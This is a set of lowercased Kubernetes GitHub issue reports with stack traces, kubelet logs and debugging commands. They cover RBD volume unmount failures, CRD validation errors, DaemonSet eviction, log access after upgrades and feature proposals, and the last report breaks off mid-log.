/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/reflector/prometheus/prometheus.go:125\r <autogenerated>:8\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector_metrics.go:110\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:106\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:98\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:111\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:216\r /usr/local/go/src/runtime/asm_amd64.s:2197\r panic: duplicate metrics collector registration attempted  recovered \r \tpanic: duplicate metrics collector registration attempted  recovered \r \tpanic: duplicate metrics collector registration attempted\r \r goroutine 50088  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r panic 0x35c01a0, 0xc430c5fb60 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r panic 0x35c01a0, 0xc430c5fb60 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.  registry .mustregister 0xc4201dae40, 0xc429f373a0, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:353 +0x92\r k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.mustregister 0xc429f373a0, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:152 +0x53\r k8s.io/kubernetes/pkg/util/reflector/prometheus.prometheusmetricsprovider.newlastresourceversionmetric 0xc42d038780, 0x53, 0x7f2c018a0620, 0xc4216b0900 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/reflector/prometheus/prometheus.go:125 +0x165\r k8s.io/kubernetes/pkg/util/reflector/prometheus.  prometheusmetricsprovider .newlastresourceversionmetric 0x79f2a00, 0xc42d038780, 0x53, 0x7f2c018a0620, 0xc4216b0900 \r \t<autogenerated>:8 +0x59\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.newreflectormetrics 0xc42d038780, 0x53, 0xc42d038780 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector_metrics.go:110 +0x260\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.newnamedreflector 0xc459158d70, 0x41, 0x78211c0, 0xc437595a80, 0x39beb40, 0xc459187900, 0x7f2bf55b5990, 0xc4627a3800, 0x0, 0x7f2bf55b5990 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:106 +0x14b\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.newreflector 0x78211c0, 0xc437595a80, 0x39beb40, 0xc459187900, 0x7f2bf55b5990, 0xc4627a3800, 0x0, 0xc4369daec0 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:98 +0xb0\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  controller .run 0xc437677280, 0xc431c5d500 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:111 +0x143\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  sharedindexinformer .run 0xc440f88630, 0xc431c5d500 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:216 +0x494\r created by k8s.io/kubernetes/vendor/k8s.io/client-go/informers.  sharedinformerfactory .start\r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/informers/factory.go:73 +0x1a0\r fail\tk8s.io/kubernetes/test/integration/garbagecollector\t227.852s\r    \r \r /cc @caesarxuchao

what happened  :\r  - create a statefulset with rbd volume using dynamic provisioning. \r  - make sure all pods came up fine and the rbd volumes are attached\r  - delete a pod\r  - the pod goes to terminating state and stays there for a long time. 10 minutes or more\r  - eventually the pod goes away from terminating to containercreating state\r  - sometimes i have seen the pod remains in terminating state for ever, even though the container on the scheduled host is long gone and i have to force delete the pod. \r  - the pod stays in containercreating state for ever after the old pod goes away  completely.\r  - the pod describe shows the following event\r    \r firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t\t\t-------------\t--------\t------\t\t-------\r   5m\t\t5m\t\t1\t{default-scheduler }\t\t\t\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned stateful-func-1 to shared0-samcompute2-2-prd.eng.sfdc.net\r   5m\t\t4m\t\t8\t{kubelet shared0-samcompute2-2-prd.eng.sfdc.net}\t\t\twarning\t\tfailedmount\tmountvolume.setup failed for volume \ pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\  : rbd: image kubernetes-dynamic-pvc-d3e6518e-8df3-11e7-b8c1-14187746a5f7 is locked by other nodes\r   3m\t\t3m\t\t1\t{kubelet shared0-samcompute2-2-prd.eng.sfdc.net}\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ stateful-func-1_user-mayank 5b16d566-b453-11e7-9d2c-1418774b3e9d \ : timeout expired waiting for volumes to attach/mount for pod \ user-mayank\ /\ stateful-func-1\ . list of unattached/unmounted volumes= www \r   3m\t\t3m\t\t1\t{kubelet shared0-samcompute2-2-prd.eng.sfdc.net}\t\t\twarning\t\tfailedsync\terror syncing pod\r    \r \r   what you expected to happen  :\r \r - the pod is deleted quickly and a new pod comes up with attached volumes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  create a statefulset with rbd volume and delete the pod after its successfully scheduled. make sure the pod lands on a different node than the one it was originally scheduled.\r \r   anything else we need to know?  :\r  logs from kubelet and some debugging dumps\r    \r kubectl get pods --namespace user-mayank --watch\r name                         ready     status              restarts   age\r mayank-fn-2400747022-2jvjr   1/1       running             3          21d\r stateful-func-0              1/1       running             0          16m\r stateful-func-1              0/1       containercreating   0          6m\r \r \r oct 18 21:54:22 shared0-samcontrol1-2-prd.eng.sfdc.net hyperkube 52842 : i1018 21:54:22.795085   52842 reconciler.go:212  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   uniquename: \ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   pod \ stateful-func-1\   uid: \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\  \r \r oct 18 21:54:23 shared0-samcontrol1-2-prd.eng.sfdc.net hyperkube 52842 : i1018 21:54:23.265741   52842 reconciler.go:257  operationexecutor.mountvolume started for volume \ pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   uniquename: \ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   pod \ stateful-func-1\   uid: \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\  \r \r \r oct 18 21:54:23 shared0-samcontrol1-2-prd.eng.sfdc.net hyperkube 52842 : i1018 21:54:23.265857   52842 operation_generator.go:476  mountvolume.setup succeeded for volume \ pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   uniquename: \ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   pod \ stateful-func-1\   uid: \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\  \r \r \r oct 18 22:16:15 shared0-samcontrol1-2-prd.eng.sfdc.net hyperkube 52842 : i1018 22:16:15.120830   52842 reconciler.go:186  operationexecutor.unmountvolume started for volume \ www\   uniquename: \ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   pod \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\   uid: \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\  \r \r \r oct 18 22:16:15 shared0-samcontrol1-2-prd.eng.sfdc.net hyperkube 52842 : e1018 22:16:15.467335   52842 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\\\   \\\ 1912ad28-b309-11e7-b4d2-1418774b3e9d\\\  \  failed. no retries permitted until 2017-10-18 22:16:15.967273573 +0000 gmt  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ www\   uniquename: \ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   pod \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\   uid: \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\   : rbd: failed to unmap device /dev/rbd2:error: exit status 16\r \r \r \r oct 18 22:16:16 shared0-samcontrol1-2-prd.eng.sfdc.net hyperkube 52842 : i1018 22:16:16.022832   52842 reconciler.go:186  operationexecutor.unmountvolume started for volume \ www\   uniquename: \ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   pod \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\   uid: \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\  \r \r oct 18 22:16:16 shared0-samcontrol1-2-prd.eng.sfdc.net hyperkube 52842 : e1018 22:16:16.023030   52842 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\\\   \\\ 1912ad28-b309-11e7-b4d2-1418774b3e9d\\\  \  failed. no retries permitted until 2017-10-18 22:16:17.022988064 +0000 gmt  durationbeforeretry 1s . error: unmountvolume.teardown failed for volume \ www\   uniquename: \ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   pod \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\   uid: \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\   : remove /var/lib/kubelet/pods/1912ad28-b309-11e7-b4d2-1418774b3e9d/volumes/kubernetes.io~rbd/pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d: device or resource busy\r \r \r \r oct 18 22:30:35 shared0-samcontrol1-2-prd.eng.sfdc.net hyperkube 52842 : i1018 22:30:35.586125   52842 reconciler.go:186  operationexecutor.unmountvolume started for volume \ www\   uniquename: \ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   pod \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\   uid: \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\  \r \r oct 18 22:30:35 shared0-samcontrol1-2-prd.eng.sfdc.net hyperkube 52842 : e1018 22:30:35.586339   52842 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\\\   \\\ 1912ad28-b309-11e7-b4d2-1418774b3e9d\\\  \  failed. no retries permitted until 2017-10-18 22:32:37.586289298 +0000 gmt  durationbeforeretry 2m2s . error: unmountvolume.teardown failed for volume \ www\   uniquename: \ kubernetes.io/rbd/1912ad28-b309-11e7-b4d2-1418774b3e9d-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\   pod \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\   uid: \ 1912ad28-b309-11e7-b4d2-1418774b3e9d\   : remove /var/lib/kubelet/pods/1912ad28-b309-11e7-b4d2-1418774b3e9d/volumes/kubernetes.io~rbd/pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d: device or resource busy\r \r \r  ls -al /var/lib/kubelet/pods/1912ad28-b309-11e7-b4d2-1418774b3e9d/volumes/kubernetes.io~rbd/pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\r total 8\r drwxr-x--- 2 root root 4096 oct 17 07:02 .\r drwxr-x--- 3 root root 4096 oct 17 07:02 ..\r \r ls -al /var/lib/kubelet/pods/1912ad28-b309-11e7-b4d2-1418774b3e9d/volumes/kubernetes.io~rbd/pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\r total 8\r drwxr-x--- 2 root root 4096 oct 17 07:02 .\r drwxr-x--- 3 root root 4096 oct 17 07:02 ..\r sh-4.2  ls -al /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/sam-image-kubernetes-dynamic-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\r ls: cannot access /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/sam-image-kubernetes-dynamic-pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d: no such file or directory\r \r sh-4.2  ls -al /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/sam-image-kubernetes-dynamic-pvc-d3e6518e-8df3-11e7-b8c1-14187746a5f7/rbd.json \r -rw-r--r-- 1 root root 271 oct 17 07:02 /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/sam-image-kubernetes-dynamic-pvc-d3e6518e-8df3-11e7-b8c1-14187746a5f7/rbd.json\r sh-4.2  \r \r rm -rf /var/lib/kubelet/pods/1912ad28-b309-11e7-b4d2-1418774b3e9d/volumes/kubernetes.io~rbd/pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d\r rm: cannot remove ‘/var/lib/kubelet/pods/1912ad28-b309-11e7-b4d2-1418774b3e9d/volumes/kubernetes.io~rbd/pvc-d3e32527-8df3-11e7-bb86-1418774b3e9d’: device or resource busy\r \r \r rbd showmapped  --mon_host 10.253.101.170  --keyring ./keyring  --user sam \r 2017-10-18 22:49:25.195918 7f36d51ded80 -1 did not load config file, using default settings.\r id pool image                                                       snap device    \r 0  sam  kubernetes-dynamic-pvc-65ccd217-62d7-11e7-884d-141877432838 -    /dev/rbd0 \r 1  sam  kubernetes-dynamic-pvc-09aca30e-ae3c-11e7-9e7e-1418774b3e9d -    /dev/rbd1 \r 2  sam  kubernetes-dynamic-pvc-d3e6518e-8df3-11e7-b8c1-14187746a5f7 -    /dev/rbd2 \r \r rbd lock list  --mon_host 10.253.101.170  --keyring ./keyring  --user sam kubernetes-dynamic-pvc-d3e6518e-8df3-11e7-b8c1-14187746a5f7 --pool sam\r 2017-10-18 22:52:24.314977 7f882ceddd80 -1 did not load config file, using default settings.\r there is 1 exclusive lock on this image.\r locker          id                                                        address                  \r client.33178546 kubelet_lock_magic_shared0-samcontrol1-2-prd.eng.sfdc.net 10.253.213.54:0/54257454 \r \r mount|grep rbd\r \r lsof | grep rbd\r sh-4.2  ps -eaf | grep 170319\r root      41411 132070  0 22:55 pts/0    00:00:00 grep 170319\r root     170319      2  0 oct10 ?        00:00:00  rbd0-tasks \r \r    \r   some more questions?  \r - why does it take so long for the pod to go away from terminating state even thhough we are doubly sure the container on the host is long gone ? is there anything we can do to fix it ? sometimes it stays in terminating state for ever until force deleted. note the node on which this pod is running is healthy.\r - the mount points on the host from which the volume is being detachhed , doesnt show any rbd mount points, still kubelet fails with resource busy errors or unmap errors as seen in kubelet logs. are there known issues around this area ?\r - the app i am testing doesnt do anything just mounts the rbd volume and isnt writing anything to it. also lsof doesnt show any open files on the mounted paths. is there anything else i can do to debug this ?\r - after the this message  timeout expired waiting for volumes to attach/mount for pod , will the mount/attach be ever tried again for that pod or not ?\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration  : \r - os  e.g. from /etc/os-release : centos 7 \r - kernel  e.g.  uname -a  : 3.10.0-693.2.2.el7.x86_64\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r i've created a crd with the name  thinglist . there is no validation specified on the crd object. creating the crd itself succeeds, but attempting to create crd resources with  kubectl create/apply  of that type fails with a validation error.\r \r   what you expected to happen  :\r \r i expect to be able to create crd resources of type  thinglist  without a validation error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r a normal working crd example,  working.yaml :\r \r    \r ---\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: things.digitalocean.com\r spec:\r   group: digitalocean.com\r   names:\r     kind: thing\r     listkind: thinglist\r     singular: thing\r     plural: things\r   scope: cluster\r   version: v1\r ---\r apiversion: digitalocean.com/v1\r kind: thing\r metadata:\r   name: fake\r spec:\r   foo: bar\r    \r \r applying this succeeds as expected:\r \r    \r $ kubectl apply -f works.yaml \r customresourcedefinition.apiextensions.k8s.io \ things.digitalocean.com\  created\r thing.digitalocean.com \ fake\  created\r    \r \r simply changing the name of the crd kind to  thinglist  breaks however,  broken.yaml :\r \r    \r ---\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: thinglists.digitalocean.com\r spec:\r   group: digitalocean.com\r   names:\r     kind: thinglist\r     listkind: thinglistlist   this also fails if named  thingcollection  or other\r     singular: thinglist\r     plural: thinglists\r   scope: cluster\r   version: v1\r ---\r apiversion: digitalocean.com/v1\r kind: thinglist\r metadata:\r   name: fake\r spec:\r   foo: bar\r    \r \r crd creates, but the actual resource fails validation:\r \r    \r $ kubectl apply -f broken.yaml \r customresourcedefinition.apiextensions.k8s.io \ thinglists.digitalocean.com\  created\r error: error validating \ broken.yaml\ : error validating data: invalid object to validate; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r if you supply  --validate=false  the object does create correctly.\r \r    \r $ kubectl apply -f broken.yaml --validate=false\r customresourcedefinition.apiextensions.k8s.io \ thinglists.digitalocean.com\  created\r thinglist.digitalocean.com \ fake\  created\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: digitalocean vm cluster\r - os  e.g. from /etc/os-release : server  ubuntu 14.04.5  client  ubuntu 16.04.4 \r - kernel  e.g.  uname -a  : server  4.4.0-111-generic  client  4.13.0-38-generic \r - install tools:\r - others:\r

how to prevent daemonset pods being evicted from nodes which have disk pressure?\r    \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: centos-daemon\r   namespace: kube-system\r spec:\r   template:\r     metadata:\r       labels:\r         app: centos-daemon\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: ''  //here\r     spec:\r       tolerations:\r       - effect: noschedule\r         key: node-role.kubernetes.io/master\r       - effect: noexecute\r         key: node.kubernetes.io/disk-pressure   //here\r         operator: exists\r       nodeselector:\r         kubernetes.io/hostname: kc-bcc-pod24-10-196-108-11.hadoop.jd.local\r       terminationgraceperiodseconds: 0\r       priorityclassname: system-cluster-critical   //here\r       containers:\r       - name: centos\r         image: repo.jd.local/centos/centos-mdj:1.2\r         command:  \ sleep\ , \ 1000000000\  \r         ports:\r         - name: ssh\r           containerport: 22\r         - name: web\r           containerport: 80\r         resources:\r           limits:\r             cpu: 300m\r             memory: 512mi\r           requests:\r             cpu: 300m\r             memory: 512mi\r    \r \r i had tried 3 ways:\r \r 1. critical pod\r 2. taintbasedevictions=true,taintnodesbycondition=true\r 3. priorityclass\r \r feature gates had been configured on apiserver, controller-manager, scheduler, kubelet:\r  experimentalcriticalpodannotation=true,localstoragecapacityisolation=true,persistentlocalvolumes=true,mountpropagation=true,volumescheduling=true,custompoddns=true,podpriority=true,taintbasedevictions=true,taintnodesbycondition=true \r \r but all of them were useless.\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r \r  storageclass  is used to specify the performance characteristic of volumes to provision. once a volume is provisioned using a specific  storageclass  there is no way to change it. the volume is forever stuck with the performance characteristics it was provisioned with.\r \r   what you expected to happen  :\r some storage systems allow the performance characteristics of a volume to be changed dynamically on the fly. we should consider supporting such behavior by allowing cluster admins to change the  storageclass  of already provisioned  persistentvolume  objects.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r after i upgraded my cluster 1.9.7 to 1.10.4 including upgrading the control plane by  kubeadm  and upgrading the kubelet by 'yum install' , i can not use  kubectl logs  to get the log of pod.\r \r i get output like this, after i issued  kubectl logs :\r    sh\r failed to open log file \ /var/log/pods/e0242ac2-bcc7-11e8-8b88-00163f00a921/nginx/0.log\ : open /var/log/pods/e0242ac2-bcc7-11e8-8b88-00163f00a921/nginx/0.log: no such file or directory\r    \r \r   what you expected to happen  :\r i can get log of pod by  kubectl logs , after upgrading my cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r upgrading the cluster 1.9.7 to 1.10.4 including upgrading the control plane by  kubeadm  and upgrading the kubelet by 'yum install' .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7 to 1.10.4\r - cloud provider or hardware configuration: alibaba cloud\r - os  e.g. from /etc/os-release : centos linux 7  core \r - kernel  e.g.  uname -a  : linux izbp1da8uhrd6yrrihfx75z 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

what happened  :\r we created a deployment and continuously updated an annotation on it periodically for a week. eventually, we noticed errors in the controller-manager logs due to the  deployment.kubernetes.io/revision-history  annotation growing too large.\r \r example annotations:\r    python\r  {\r     'deployment.kubernetes.io/desired-replicas': '2',\r     'deployment.kubernetes.io/max-replicas': '3',\r     'deployment.kubernetes.io/revision': '41',\r     'deployment.kubernetes.io/revision-history': '41,41,41,41,41,41,41,41,41,41,41,41,41,.............'\r }\r    \r controller-manager error:\r    \r i0502 01:39:20.871854       6 deployment_controller.go:485  error syncing deployment yarn-crm/crm-qa-nm: replicaset.apps \ crm-qa-nm-7bf7b57dff\  is invalid: metadata.annotations: too long: must have at most 262144 characters\r    \r \r   what you expected to happen  :\r 1. updates that do not change the revision number should not be added to the revision history.\r 2. the revision history should be capped at a fixed number of elements, it should not be possible to have unbounded growth for deployments that are frequently updated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a deployment\r 2. repeatedly modify an annotation on it and note that the  deployment.kubernetes.io/revision-history  annotation gets the same number appended every time.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r      \r   client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.11\ , gitcommit:\ 637c7e288581ee40ab4ca210618a89a555b6e7e9\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:38:32z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.11\ , gitcommit:\ 637c7e288581ee40ab4ca210618a89a555b6e7e9\ , gittreestate:\ archive\ , builddate:\ 2019-04-16t22:45:40z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

i have a tool for compiling & running unikernels in a similar fashion to the way docker builds and runs containers. i would like to demonstrate as a proof of concept kubernetes running applications as unikernels at scale using a new unikernel runtime based on https://github.com/emc-advanced-dev/unik  my thoughts so far are to implement a new runtime for the kubelet that would sit alongside the  docker  and  rkt  runtimes; but this would require stubbing a number of container-specific apis that the runtime is expected to implement  such as runincontainer, execincontainer, attachcontainer, etc. .  i'm looking for feedback and thoughts from the k8s community. any k8s devs who want to help out with the effort are more than welcome. i'd also like to know if i should contribute this project upstream, or keep it on a separate fork.

while working on idling, we discovered that we need a way to determine  in a object-agnostic way  to determine the source of the last scale event.  to this end, it would be useful to have some sort of annotation  or something of the sort  that can be read and set via the the  scale  object.  any scale done without explicitly setting this field/annotation/etc would clear it.  otherwise, the autoscaler, idler, etc could set the value to indicate that it was the last thing to scale the object.  for example, the idler could use this to determine if the last scale was a scale-down that it initiated versus a scale-down that the user initiated.  it could also be used by uis, etc to determine if a particular rc, etc was idled.  cc @ncdc @jwforres @benjaminp @kubernetes/autoscaling @smarterclayton

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r housekeeping docker error log rkt\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+82450d0\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ not a git tree\ , builddate:\ 2016-12-14t04:09:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+coreos.0\ , gitcommit:\ cc65f5321f9230bf9a3fa171155c1213d6e3480e\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t04:08:28z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : azure standard_a1\r -   os    e.g. from /etc/os-release : coreos beta  1235.2.0 \r -   kernel    e.g.  uname -a  : linux node-0-vm 4.8.6-coreos-r1  1 smp wed dec 7 00:29:42 utc 2016 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux\r -   install tools  : coreos guide\r \r \r   what happened  :\r \r kubelet inquires docker about containers periodically, which produces an error log. by following the coreos guide to setup kubernetes we run kubelet as a rtk container, so there are rkt containers and docker containers running, which may be related:\r \r    \r dec 19 16:13:24 node-0-vm dockerd 2294 : time=\ 2016-12-19t16:13:24.448175736z\  level=error msg=\ handler for get /containers/a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7/json returned error: no such container: a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7\ \r dec 19 16:13:24 node-0-vm kubelet-wrapper 2205 : i1219 16:13:24.471107    2205 factory.go:104  error trying to work out if we can handle /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount: error inspecting container: error: no such container: a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7\r dec 19 16:13:24 node-0-vm kubelet-wrapper 2205 : i1219 16:13:24.471404    2205 factory.go:115  factory \ docker\  was unable to handle container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ \r dec 19 16:13:24 node-0-vm kubelet-wrapper 2205 : i1219 16:13:24.471829    2205 factory.go:108  factory \ systemd\  can handle container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ , but ignoring.\r dec 19 16:13:24 node-0-vm kubelet-wrapper 2205 : i1219 16:13:24.473158    2205 manager.go:867  ignoring container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ \r dec 19 16:13:24 node-0-vm dockerd 2294 : time=\ 2016-12-19t16:13:24.474068253z\  level=error msg=\ handler for get /containers/2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76/json returned error: no such container: 2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76\ \r dec 19 16:13:24 node-0-vm kubelet-wrapper 2205 : i1219 16:13:24.474468    2205 factory.go:104  error trying 